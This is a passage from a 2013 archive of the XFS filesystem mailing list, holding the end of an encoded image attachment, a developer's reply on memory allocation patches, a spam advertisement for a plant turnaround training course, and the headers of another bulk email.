wT8dfrM87Bhww8rtvI3LqdA/rjyC79Vkycis8x5YvgyvNN9HQo7fCAy9XFpaRTqJ7Oxy+aLuoXwv pfnWWUcmU6lKPAqx54o0jJJftwHfGWmEbwicE6yhxfab+Cew38Px7ThoeSRR8K1tZL10jdPStV6a a7wfi2+6jMraeo+QPw0+269tYLdojS/Znza1HpS5RBeautF87+rnO/TU9Riy/42qk/dzyIofN8Lj cdhs4r+htf44etYnqJ/vxZsXmJH9E8An5nsN4XioLqI/Ndc4z1ltf59vDBw6TxRBf/+b2G+LfYH7 rI/u3hdsDvv9m5vmyq0M3wvXeM43s1+4xm4JcoMr8mD+/er819tvFqfhzxuJH8z/VlPPYaFZgJqB 24I1LvON7bRWW2vD1hq70Lt4g9RZy9BvyUd+qz6332geZO97wcH9rLff+eu34ohf/OT2m5hVU5ch SiJXfxyw0/5g8LHrZy/E1dU3IytYIvj0HEEHwqR1Gb7p7zcsNXGFf6KzFvhK9SOdyTxLGz86gTiN hoGj8VdeWRli+DCj01/kIXzT/jf5G6sD+M78UGvbfNo/0RneP5m/zknb2GbpGuel67y11vqqmzh+ +ZtvVGw2U4RUId/Rp6i6ppaAo5eMvrTW1LOZb+S50Mx96XrHQZn3qzPtn3jq0HxrmtgtNAw9eSO2 m03zDbDpOsNyC+g/8QoYeVzq/NnrvsF/gm/dj3bPXLKF3j/xWbTWc8Ea58XrnIYYVKILiP12XbTW DevLuQYOq9cFE/8bHUvvQNIzHhf+iYASFhTX+Pidg/3eYRG41y7wn797aK3apr0aq3CfhWvhf9sv XGu/dK3rYtPBRfTr32C/wfepW4nvL/paXddSQ9+V/raSnY6xjQ55rceWvHkjRQFo4KI1fmu+991i e9jR99ThEzezcyo5LD55mY9+1IPGBSFkZ5yAQkVEJ5p9bjlrlf08fQe11Y5QdQNGnaAahs70I+Kh 6mL0RdAuh+NHTkcUl7TBqpJ+Eor45I+HYClL+o/wTfYsCd9665xe1dymYeyIDKWpE8mTDmthlBq7 aptA3dQNXUy/DayuJJMD4CYeKzF7oIOoSMgVka8Yk5N9fPbNmNx3NH5BK6mbOZAHpeSxsxSdT97f Qhs666zxwvpS3dj22y2BcYkFpMrDCJ/Dwtjt7GadvBBl9JnNrKUW8/SctM3cdT521jQmv6kyVLWM nOcbuWuvsVQzcp9rYK2l73H2dnoPm5hSAToCCJIbwl2QdkNX4N+Otr5rtxIOnYiA/f5gyWYtE1dN E09tE8/5Jq6LTF21sDIeqvDiMI2s8dA0c4NxNf7Un5gwkivGDP1mpUgoEHK5Ag6bK6hr6Ll5K8PJ 9ZCFledXm33mLt+srmejZeiubew2H5OnmeMC2BTyxANeohRVN/WYvdru05/97tyjn+8IxM93hLwj T8l3H6fx1N3Mpeu2m3ztYfp1gOk/g/U/9TH92u/jjf5rNvgbfxNo/K0UXf1l4LrvQ3/dd8L3WFhM Rn5bL/1MATSQt/zIt2tIm2JkY2FGY5iRkrVpu4/uP/wNv4YGGH1D1Bg6JOdBuv4nT78/Ykoqu4kD idkBI4cScEVC8gfexTMkixJ0CLmE7+37QvQ+djD+ethsDb7yNfzKz+hrf4TNvg9e+0PoRz8dXPPD gd+tzuNyYA0hm+tCZCwW8m4uvCFYV5GgmyeMzipfvn6r0XeeBt+FmnwXavZ9qOkQNfsudP3XgSZf +Zt+f8Dsp8P6X3ubfuNk5346r6CWtMUwIuD3Cum9pvjEiu9+8tVf72D4tc+aXw4a/Bho+n2wFP0u eM33wZ/iFn44ZPx90KqvPFZ/ZXs3qY78DXsG6WGEy6ViE4u+/d1V9wsbow0BBt+FrPn+0EffHPj4 a2QbavqdFDX78cCanw+afhu69hv/LRYHujloeZgArpCDEAojQl4LgtlBySJBdVXFjRs3d7ic0f18 n/HXzuu+9wVR6388uB75fOv/0Q8ha384NFTX/XDIaEOQwfdeW6yP3UvIoe13PiWIFHHP8riHRE/H N1/QVN3UEJ+Wl5pVlZpVm5nbkJhSnZpVk5aNw6r03Jr0nCGaW5OSUZWYWp6VV93U1k1sNdgQsbm8 Xr6AwycP5GlzhxUIrAj9akhLU3t6RklqTk1qTnVabk1aDlGSuUQH5j9A47JLq9t6ycyNTiOuN9mt 4wmEfVw4gEwnwpYwXzUW5RTXxmdVp+bWDspEoqk5VWlEq2kVVwNVyi1qAMlD4aaFsVOwfgKeUNDU 3pWYXpiSWZWaU5+R25SZ25whRZvScyrT82oyChvTihoTsqvi00vzi2u7O8kgHE6EQg5fgLsQdnSy MrOrUzIqUbeswsac4sbM3JYMaZqV15JX0JCWXZte2JCYXR2TVtbQxibtQhpmeMBFIg6bn1VQmZhV npJfn5xfn1bQkJ5Xm55dJfV2SGQeSZCWXZeWWZ1XWAvDIhD2CDBngnK6tehcybxHr8vFRZfVtCRm FKXnVmXl16VnE7Qy8+oz82qzCxoz81sy85uHaEtabj1gKCqp72htpQQtFBf2O1LAPssnT9yfim9K 1Exe4SBD/ukE45gjFLFF4Ix8x4bLo9/wJjeNRQeXz/wsFJP06QRGG2yRfUbMDuSvZhOnhyCH/0hT YsZAiVw2bcKfWgaRLY4lpZM+FBAvC8WKh26/IIx2k6pSb5m+lWEEcx+Pz4IvKz5+AhlYW7phyKCU WgFa+BzSaNJl4C1IFFmR2xcnQRT5c8vdfCFZaDFGgYlnmo4RJmJg3R6UgfkPUvqskCXi1tPfn48S cc6JOE/rf4NvzIx8WFryWIO4y/TOEvONGeJBS1WukMeBE0wmb3FrEgbgQ9D7UBDmDgnaJFswSb+v OUhh4RlFAw061a8CHhfVYVqOxprJHhECPpnNCeIkUkSxWeStAVKd4XO7X+IglUZ2vxDnkieANyTg kj8STwYb+QUAHgcVIsssaSqAh0bnTAw/8dLQbXQzifOUIsRfJjWkFVmQMUX/vQi4fLDJ0hQVoBcH WJeg2cEZbAuHx+HyOJhpGFCkCFNpOj2ZXukSiWPJ5/Ik9X9QUTeWQNhFWpbuCi6/j09mULLsRvUQ j2wRTxqnvyUR4AnZ6HcesUekn0jPiFBvYgeHFCFW8s0tPof+PhaGehPhkxtNcc+LWE9vv1tgfbmk FZnhQyrLJ5UjNWVaZKggDTOiSa1wDU0YPc7JZcw9Ihl8lf4Ji/kkwiQcqA8TnCYN05+YYYT8Q1t0 +ogwTjBnUoivkyqklZnRRJr7AaU7RerFiAZ6uFEydnBM2ysSoosdlI1YSQMxlRmQJWneAYeDhNwj UtBBiLj50by4UbINP1R5hC66ZenmoZuJXE2uH1juIGGSkhBTWboUpsIDb2GgoiBayQF9KT7o+pGH O+K/fkjHEmHCEPKeEPlkaihR1PKBzB9U8iyNT/76G1sgbBGBTx7hm3rk+4MP4ftJv385IiPyNwtG AZvePykglA7P8N/MN7+DarlI1YdS7EpxjERwqulPqsZTfAqHnTEPJEMYMQJm46VfHpLhk0rMBKKP KUz1GP1fkipnKno0laUnPnyk5H1M5ZiJw/9J+W/gu3QbFfUcFSUj1qIfxPFAJE75fjw0VoE0MQk/ R/HIO1KEp+jnSUyVA30NLVIzBO7Fv1GsUjrFkwiTyWPKvbH3y4XGKVGtV8Snnmkp/I7cTtKb4sOh MrB5YVOY2+8rpM/9B+U/zjerSNwWGQupvE8IEOmaJL71ujj+3otUmhqVrk1O4RAc3xtNApmrSDIY CYRhX4kPTctwGaJvEFm2i070JMLk9pgS/QJJnPI+laEjDsPs/Q/II/ke1LxIX7hBHP5Pyn+c72o3 6RDEypH45Hco+rVvsQB62IbiX+hLRlHdyWI7XeMtTgCRmmHRRureOBKf+DKVsYzitZDIxmNU5gpS RLYR1X6XTkdLrT8ZTqmziEGC4CooIxhOGUuovjyqJ4tci04Fxz0Dfm2HYbrpFAl3RIqvZRLAWSLZ zqUKv7nvTQ0qCyK1Vogp203uF9NX8vtUXRCJxE2hAhjnzFT2OGkgQ6sx8ELEV9rS6WjB5ahbtgGx FLgRhm/cO9oBYSRGAnTQ0OZFVriKkUfe0cBC7zfsQhL+V+U/zjembwaClJn3nQfcGGJA8HDeMww2 SUAb8vjJ4khGpGbIjBaJdiUQB3FgDBQuPgT4DowEJUwAIp4rxtFF0OOKeCOjyCUSGcg3+pW5ltsg Li4aV40igZiJZMIZWtZwtUKA3Gy/04WWgavGhKHxUx43jdRqkJgBF0KrnUlikC2JYRTYIT1yRphx C6Fpc6U0LxOQlDhQpd4RFIVKDNbQhn1K+W/wvzGbi29yFHFF4FJjNJObHC9OEKdIxcoTRYAZ0/BS xJfIUM1n6UQDZGiGcFoSZpCY/C9I6yMTppMaDtGcLSPh2En3HUdYU0BJ7E2YOIaBFfhiVVCymYRh kCCwi8hQIgzfgIkURxeRRdtOhEEV8ofJZGgopTOBSsqq9ZFeKwiTMvlN4ubGyIoPSzZR5RbisKTm D0lD6BlSDUlLJr1ONV+gEqaRcPLb5DaZ+GoPUh/mvhj7nbVa3AsoCJE4Nah5Icy1w7WzJMGgQh/S sE8p/w18487RLvCzmXvGHIeZC4EYmm9Mf5j7JOs2xjQyppRRycwukaEZQtA3CDMOIpM/09AQwh+d smI/+cSFA4U5RWyeDJncIRLo0RPouYHCcMAkhjJAwAlB+N4YYpCgDFjxqnTkgLKGqxVagAngviCM 1U+dSSfqL1GC40PSwIvA56Bq5H5EPqHMhYyfjfHJmJhYRfp6xH9DDpnbgcAGIyVcC+ZayMDmhTDx j3lHkkLvN+z7VNMJ+pp/Uf4qvoU03+SPUN9//vJkgluF48XcHiwZPjH0OQNeJGI6CXwTW0VbhaRX 6WRjBm8OMjIwQzgqAztA0qASYZLlrh0cD2FOMTTAc2Wk6GexdwTFVRKRVJJ0FV1JTLtMcYCemYUY TZhOIgeWNVyt4M4yAUbE7M4RHw7imxGpaZjIQdVgOJZcKKnDoMowh2hDMIqrEEY+EgsCkcr3Y97R wGTDNezTCDgEjTTf4PMp+eafp/hRlCCfEjVR5OVpnvhB2GNqdyLFbxOHezKoaDQc5jUEXiABGEgh 8qTPMjFNJwlkCMSpkAvRygjnfSpOA5WaIbeadAAChd+S+EobEoYlY5K1XKCTPd8fD5tKx/PqiZJT MlT7HXGATCD0WRGXKvmVjnxeHAOVVBJhsoVCW68aDxKIkbufDDq0rNKtdMyQWiFMAqCBjs9YTMKE XfqQKbEz+tFpcO/4HFQNcnbAhUwaoFblRMePpt/JEYrbHG1YTN9yvIo4nqShrx3YvJL44dpZkoCJ lxTKHEpt2KdRcMgjTIJM8AlKweqT8c09QvHOUvxwSphDieron6gEjhgxj62Zi6h7z1Fps0kgZix9 n0okvnSLuAliXiRn02YSc47Dsm3i+MbDJFneehK+9zzFrXpEhhmaJIzVYYYa1RVL3aO7PPElKm8t 6QCEkZ5bKx4wiM/UoWJGU+U7ySEUOWQtJYHY8VTpJiptFlVlT65lYpiioUy2TcdIGKUw19a4iuNR dKUlqTPy7wgfXFbxT9JrhawQgDJFIAZhVIA5ZC4huT0qTfNJKdXoTX/gwsKvSThhMsUuEzc4JsmU t8Vpkt8g944AGha3L4nHhQObty9PHI/2fJw7khRatp10nNSGfQolHAJuMFlH+ASlYPXJ3h/kHqZ4 pyl+GCVIoYQllBCIw4rDEX9srXOm4p6nYnEztCapUiz6B22htXZU/Jj7p6CJE6mUGSSQPEWchl9J xY8mMQVm4pjhMmw9SsVhaqYjeyKoBh8qjr6Q0bQ3KF4pSYZCJZcj0HlNHGbKiqPrk/KSOJLoc1S9 s7hoKFOZ1iPiQ9QTh5mzqQZPKu6F+1chZ3a6lLKGqxVzyOSZu4yEM2aLD5kSu24+Vhqp1WDCTMrS 70k4eSoJV2zqTzaKyllIAkx9EuHYMPGjxQ2CxIOalwkg/nHuSFJozX5xPBR1q3cTJ3h6bSJMgkzw CUrBKoh9Er4PUdwTFO8y+XFlZCHIoYT5tC//JMrPpdqCqWYvqhfjZMhZdgzV4ks1uVN94eSQm0z1 3SWXSBIwMdy0+zHDZciKIpFdZ+7HINwaQHHi78dAcXnHUZIDL5McogJQ5hRKQVmIxyXIqhWNkCw+ xShSstAU/YdMeqZu+Ow4Tm4En5L6DyqL0aG1GlgHpGTqIDnFlPg4aaBDqzHwQsQMbEzkgHtk8kEO kvj2w6TaCOD2JdcObN6BeUIffkcDC73fsAM69KmV0JhDwx1JKAWrhNjH5TuE4h6gT/9JIx5GpgDi 5cAdjx7REf0PK4MiYRKW+zJNKQA+QHP7WHzTp7kH6XhY8dO0L45kIzqi/x1KaDxLuyXgE5QeFAN8 n+FH8M0gjjEBsw/PBstNpB7REf2vUbKgBJngE5T2ww19bL6hMPhQnBrREf3vVAbRAdBK4Xvwdx9G dESfWZXwDaoJ3/yLFO+Y2D3vSSKnR3REn10Fw8SiHyBU8y+C7ysU93i/h/6gqR/REX32lPGowfNx sA2+b9HrUGYRyrjqIzqiz66CYZAM5+Q02AbfMRTvKsU7Q3gnjgpAp9enIzqiz5aK0QXDIPkMoZof I0MJsihBDLHicFSIL96/xTiiI/osKhgmJN8iVAuy/g9EZj8CDAIMzAAAAABJRU5ErkJggg== ------=_NextPart_000_0090_01CEA8E2.E3EB3180-- From tinguely@sgi.com Tue Sep 3 08:07:23 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 376027F4E for ; Tue, 3 Sep 2013 08:07:23 -0500 (CDT) Received: from eagdhcp-232-140.americas.sgi.com (eagdhcp-232-140.americas.sgi.com [128.162.232.140]) by relay1.corp.sgi.com (Postfix) with ESMTP id 075888F804B; Tue, 3 Sep 2013 06:07:19 -0700 (PDT) Message-ID: <5225DF07.4080509@sgi.com> Date: Tue, 03 Sep 2013 08:07:19 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com Subject: Re: [PATCH 0/2] xfs: fix some new memory allocation failures References: <1378119180-31380-1-git-send-email-david@fromorbit.com> <5224C4E9.8080604@sgi.com> <20130902222004.GI12779@dastard> In-Reply-To: <20130902222004.GI12779@dastard> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 09/02/13 17:20, Dave Chinner wrote: > On Mon, Sep 02, 2013 at 12:03:37PM -0500, Mark Tinguely wrote: >> On 09/02/13 05:52, Dave Chinner wrote: >>> Hi folks, >>> >>> These failures are a result of order-4 allocations being done on v5 >>> filesystems to support the large ACL count xattrs. The first patch >>> puts out usual falbback to vmalloc workaround in place. The second >>> patch factors all the places we now have this fallback-to-vmalloc >>> and makes it transparent to the callers. >>> >>> Cheers, >>> >>> Dave. >> >> Thanks for clean up. Broken record time: Do we really need order >> allocation in the filesystem? Esp in xfs_ioctl.c. > > I don't understand your question. Are you asking why we need high > order allocation? > > Cheers, > > Dave. In patch 2, why not drop the physically contiguous allocation attempt and just do the virtually contiguous allocation? Things that now call kmem_zalloc_large() do not need a physically contiguous memory, it will simplify the allocation, it will leave the physically contiguous pieces for other Linux code that really need it. --Mark. From rasha@mc4training.us Tue Sep 3 10:02:39 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.9 required=5.0 tests=FSL_NEW_HELO_USER,HTML_MESSAGE, T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 595B77F52 for ; Tue, 3 Sep 2013 10:02:39 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id B22CFAC001 for ; Tue, 3 Sep 2013 08:02:35 -0700 (PDT) X-ASG-Debug-ID: 1378220550-04cb6c153dd15570001-NocioJ Received: from vvv.mc4training.us (hosted-by.leaseweb.com [85.17.249.123]) by cuda.sgi.com with ESMTP id SSOixa9ehM7TctnB (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 03 Sep 2013 08:02:31 -0700 (PDT) X-Barracuda-Envelope-From: rasha@mc4training.us X-Barracuda-Apparent-Source-IP: 85.17.249.123 DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=mc4training.us; s=default; h=Content-Type:MIME-Version:Message-ID:Date:Subject:To:From; bh=1kkvqh2qkjfKGwYRAq5gD/F9Tc2pTyDlyHdVd0+Fba8=; b=vXbK3qV26CmHsmRaklxLb+wu6BtNhAtZImAa88sXTLNpz3NkI2/veErg/iNKLVN02bhhgg+jpCa5AxE6SAH587BbFBPN4KPaXZJtO869C1vBNJyUhDehjCZ0S+lQsJokZdUv6xlXlGsw84pNqt1ZGKC4Tc1BNP860JrNdkn6CcI=; Received: from [31.9.49.83] (port=23392 helo=userPC) by vvv.mc4training.us with esmtpsa (TLSv1:AES128-SHA:128) (Exim 4.80.1) (envelope-from ) id 1VGo6Z-0003GV-E5; Tue, 03 Sep 2013 12:45:06 +0200 From: "rasha" To: "rasha" Subject: Shutdowns, Turnarounds and Outages Date: Tue, 3 Sep 2013 13:44:18 +0300 X-ASG-Orig-Subj: Shutdowns, Turnarounds and Outages Message-ID: <019f01cea892$a6d324b0$f4796e10$@us> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_01A0_01CEA8AB.CC205CB0" X-Priority: 1 (Highest) X-MSMail-Priority: High X-Mailer: Microsoft Office Outlook 12.0 Importance: High Thread-Index: Ac6iSzfr9KWooJ1fT4+Wd5NfWOyfbQAAA5vwAAAHPwAAACzMcAAABRpAAZE64xAAAAAXAAAAAAvwAAAAC4AAAAAKUAAAAA6wAAAACUA= Content-Language: en-us X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - vvv.mc4training.us X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - mc4training.us X-Get-Message-Sender-Via: vvv.mc4training.us: authenticated_id: rasha@mc4training.us X-Barracuda-Connect: hosted-by.leaseweb.com[85.17.249.123] X-Barracuda-Start-Time: 1378220551 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.42 X-Barracuda-Spam-Status: No, SCORE=1.42 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_COMMENT_TEXT_1K, BSF_SC0_MISMATCH_TO, BSF_SC0_SA_TO_FROM_DOMAIN_MATCH, DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE, K2_MISSING_MIMEOLE, MISSING_MIMEOLE, THREAD_INDEX X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140226 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message 0.20 MISSING_MIMEOLE Message has X-MSMail-Priority, but no X-MimeOLE 1.19 K2_MISSING_MIMEOLE Message has X-MSMail-Priority, but no X-MimeOLE 0.00 BSF_SC0_COMMENT_TEXT_1K Custom Rule BSF_SC0_COMMENT_TEXT_1K 0.01 BSF_SC0_SA_TO_FROM_DOMAIN_MATCH Sender Domain Matches Recipient Domain ĺĐĺ ÚČÇŃÉ Úä ŃÓÇáÉ ăĘÚĎĎÉ ÇáĂĚŇÇÁ ČĘäÓíŢ MIME. ------=_NextPart_000_01A0_01CEA8AB.CC205CB0 Content-Type: text/plain; charset="windows-1256" Content-Transfer-Encoding: quoted-printable REF: E6007 DATE: 22 - 26 Sep 2013 VENUE: France (Paris) Le M=E9ridienEtoile FEE: 4800 =A3 INTRODUCTION Planning and managing shutdowns, turnarounds and outages in the process plant environment is a complex and demanding function. If turnarounds = are not properly planned, managed and controlled, companies run the risks of serious budget overruns, costly schedule delays and negative impacts on customers. This programme has been developed to specifically respond to the need to help owners and contractors meet their turnaround goals. In the = development of this training programme, a combination of extensive hands-on = experience in turnaround planning and execution, input from turnaround teams, and emerging industry trends were blended together to establish best = practice turnaround management approaches. This programme is designed to establish a thorough understanding of the fundamentals of effective turnaround management. Numerous examples and = case studies based on completed turnarounds are used to emphasise major = strategic planning and management issues essential to successful turnarounds. The programmeemphasises that company staff from different departments, contractors and vendors must combine their knowledge, resources and energies, and work as a unified team to successfully achieve company = goals and turnaround objectives. WHO SHOULD ATTEND? =B7 This programme is designed to be beneficial for both the = owner=92s and contractor=92s staff, who are involved in the planning, = co-ordination and execution of plant shutdowns and turnarounds =B7 The programme is especially valuable for turnaround managers = and coordinators, planning/scheduling and cost control staff, construction superintendents and supervisors, operations coordinators, project = engineers and contract administrators. Participation from inspection, materials, safety and maintenance engineering is also encouraged PROGRAMME OBJECTIVES =B7 To enhance the company=92s turnaround management = capabilities, and to ensure a team approach in the planning and execution of plant = shutdowns and turnarounds. =B7 Provide a comprehensive understanding of effective = turnaround management techniques and implementation =B7 Create awareness of strategic planning methods and an = integrated organisational approach in the execution of successful turnarounds. =B7 Incorporate latest developments in turnaround planning and management techniques and emerging industry trends =B7 Make the turnaround planning and execution process = efficient, professionally rewarding and with the minimum stress and conflict. TRAINING METHODOLOGY Shutdowns, Turnarounds and Outages is a hands-on, stimulating learning experience. The programme will be highly interactive, with opportunities to advance = your opinions and ideas. Participation is encouraged in a supportive = environment. To ensure the concepts introduced during the programme are understood, = they will be reinforced through a mix of learning methods, including lecture style presentation, open discussion, case studies, simulations and group work. PROGRAMME SUMMARY Organisations who expose participants to the training and development experience provided by this programme will be contributing to building a core of knowledgeable and skilled staff who will be able to add value through their contributions to more effective preparation, planning, scheduling, execution and control of shutdowns and turnarounds. They will be able to contribute in leadership or operational roles, both with knowledge and skills to ensure shutdowns and turnarounds are effectively planned, scheduled and executed and leverage these = techniques to improve productivity and cost effectiveness. PROGRAMME OUTLINE DAY 1 - Introduction to Shutdowns and Turnarounds =B7 Overview and Introduction =B7 Shutdown Planning Strategy =B7 Shutdown/TA problems and issues. =B7 Management planning DAY 2 - Shutdown/Turnaround Preparation =B7 Plant shutdown and preparation for maintenance =B7 Work Scope Development and Work Breakdown Structures =B7 Case Study work =B7 Organisation and Roles DAY 3 - Shutdowns/Turnaround Planning Techniques =B7 Developing Shutdown and Turnaround Plans =B7 The Critical Path Planning Method =B7 =93Short Cut=94 Planning Methods =B7 Scheduling multiple projects DAY 4 -Costs, Control and Contractors =B7 Developing shutdown budgets =B7 Progress, cost control and productivity tracking =B7 Materials planning and control =B7 Contractor Management DAY 5 - Safety, Quality and Risk Management =B7 Safety, Quality and Environmental Management =B7 Risk Management =B7 Integrating risk management into the shutdown plan =B7 Conclusion =B7 =20 =B7 Best regards =B7 =B7 Management Training Cente =B7 Email: anas@mc4training.com =B7 Site: www.mc4training.com | =B7 Tel: +96176978103 - +9611747946 =20 =20 ------=_NextPart_000_01A0_01CEA8AB.CC205CB0 Content-Type: text/html; charset="windows-1256" Content-Transfer-Encoding: quoted-printable

REF: E6007=A0 DATE: 22 - = 26 Sep 2013=A0=A0 VENUE:=A0 France (Paris)=A0 Le M=E9ridienEtoile=A0 FEE: 4800 = =A3

INTRODUCTION

Planning and managing shutdowns, turnarounds and outages in the process plant environment is a complex = and demanding function. If turnarounds are not properly planned, managed and controlled, companies run the risks of serious budget overruns, costly = schedule delays and negative impacts on customers.

This programme has been developed = to specifically respond to the need to help owners and contractors meet = their turnaround goals. In the development of this training programme, a = combination of extensive hands-on experience in turnaround planning and execution, = input from turnaround teams, and emerging industry trends were blended = together to establish best practice turnaround management = approaches.

This programme is designed to = establish a thorough understanding of the fundamentals of effective turnaround management. Numerous examples and case studies based on completed = turnarounds are used to emphasise major strategic planning and
management issues essential to successful = turnarounds.

The programmeemphasises that = company staff from different departments, contractors and vendors must combine = their knowledge, resources and energies, and work as a unified team to successfully = achieve company goals and turnaround objectives.

WHO SHOULD = ATTEND?

=B7         This programme is designed = to be beneficial for both the owner=92s and contractor=92s staff, who are = involved in the planning, co-ordination and execution of plant shutdowns and = turnarounds

=B7         The programme is = especially valuable for turnaround managers and coordinators, planning/scheduling = and cost control staff, construction superintendents and supervisors, operations = coordinators, project engineers and contract administrators. Participation from = inspection, materials, safety and maintenance engineering is also = encouraged

PROGRAMME = OBJECTIVES

=B7         To enhance the company=92s turnaround management capabilities, and to ensure a team approach in the planning and execution of plant shutdowns and = turnarounds.

=B7         Provide a comprehensive understanding of effective turnaround management techniques and = implementation

=B7         Create awareness of = strategic planning methods and an integrated organisational approach in the = execution of successful turnarounds.

=B7         Incorporate latest = developments in turnaround planning and management techniques and emerging industry = trends

=B7         Make the turnaround = planning and execution process efficient, professionally rewarding and with the = minimum stress and conflict.

TRAINING = METHODOLOGY

Shutdowns, Turnarounds and = Outages is a hands-on, stimulating learning experience.

The programme will be highly interactive, with opportunities to advance your opinions and ideas. Participation is encouraged in a supportive = environment.

To ensure the concepts introduced = during the programme are understood, they will be reinforced through a mix of = learning methods, including lecture style presentation, open discussion, case = studies, simulations and group work.

PROGRAMME = SUMMARY

Organisations who expose = participants to the training and development experience provided by this programme will = be contributing to building a core of knowledgeable and skilled staff who = will be able to add value through their contributions to more effective = preparation, planning, scheduling, execution and control of shutdowns and = turnarounds.

They will be able to contribute = in leadership or operational roles, both with knowledge and skills to = ensure shutdowns and turnarounds are effectively planned, scheduled and = executed and leverage these techniques to improve productivity and cost = effectiveness.

PROGRAMME = OUTLINE

DAY 1 -  Introduction = to Shutdowns and Turnarounds

=B7         Overview and = Introduction

=B7         Shutdown Planning = Strategy

=B7         Shutdown/TA problems and = issues.

=B7         Management = planning

DAY 2 - =  Shutdown/Turnaround Preparation

=B7         Plant shutdown and = preparation for maintenance

=B7         Work Scope Development and = Work Breakdown Structures

=B7         Case Study = work

=B7         Organisation and = Roles

DAY 3 - = Shutdowns/Turnaround Planning Techniques

=B7         Developing Shutdown and Turnaround Plans

=B7         The Critical Path Planning = Method

=B7         =93Short Cut=94 Planning = Methods

=B7         Scheduling multiple = projects

DAY 4 -Costs, Control and Contractors

=B7         Developing shutdown = budgets

=B7         Progress, cost control and = productivity tracking

=B7         Materials planning and = control

=B7         Contractor = Management

DAY 5 - Safety, Quality = and Risk Management

=B7         Safety, Quality and = Environmental Management

=B7         Risk = Management

=B7         Integrating risk = management into the shutdown plan

=B7         Conclusion

=B7          

=B7         Best regards

=B7         =A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0= =A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0= =A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0=A0= =A0

=B7         Management Training Cente

=B7         Email: anas@mc4training.com

=B7         Site: www.mc4training.com = |

=B7         Tel: +96176978103 - +9611747946

 

 

------=_NextPart_000_01A0_01CEA8AB.CC205CB0-- From mailreturn@smtp2.ymlpserver.net Tue Sep 3 11:10:34 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: **** X-Spam-Status: No, score=4.9 required=5.0 tests=HTML_IMAGE_ONLY_24, HTML_IMAGE_RATIO_02,HTML_MESSAGE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 773347F50 for ; Tue, 3 Sep 2013 11:10:34 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id EA67CAC001 for ; Tue, 3 Sep 2013 09:10:30 -0700 (PDT) X-ASG-Debug-ID: 1378224626-04cbb02c3ad12530001-NocioJ Received: from smtp2.ymlpserver.net (smtp2.ymlpserver.net [62.213.199.9]) by cuda.sgi.com with SMTP id wWQxWlyvNs1E8xE0 for ; Tue, 03 Sep 2013 09:10:27 -0700 (PDT) X-Barracuda-Envelope-From: mailreturn@smtp2.ymlpserver.net X-Barracuda-Apparent-Source-IP: 62.213.199.9 Received: (qmail 14789 invoked by uid 0); 3 Sep 2013 16:10:26 -0000 Date: Tue, 3 Sep 2013 18:10:26 +0200 To: xfs@oss.sgi.com From: Mesamche Lev Subject: Listen to THEIR pleas, and HE will listen to YOURS! Message-ID: <3ec7046fc7d83eedf5ac34322a3d27a3@smtp2.ymlpserver.net> X-ASG-Orig-Subj: Listen to THEIR pleas, and HE will listen to YOURS! Reply-To: web@mesamchelev.org X-YMLPcode: 5qeh+3+34523 List-Unsubscribe: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="b1_3ec7046fc7d83eedf5ac34322a3d27a3" X-Barracuda-Connect: smtp2.ymlpserver.net[62.213.199.9] X-Barracuda-Start-Time: 1378224627 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by 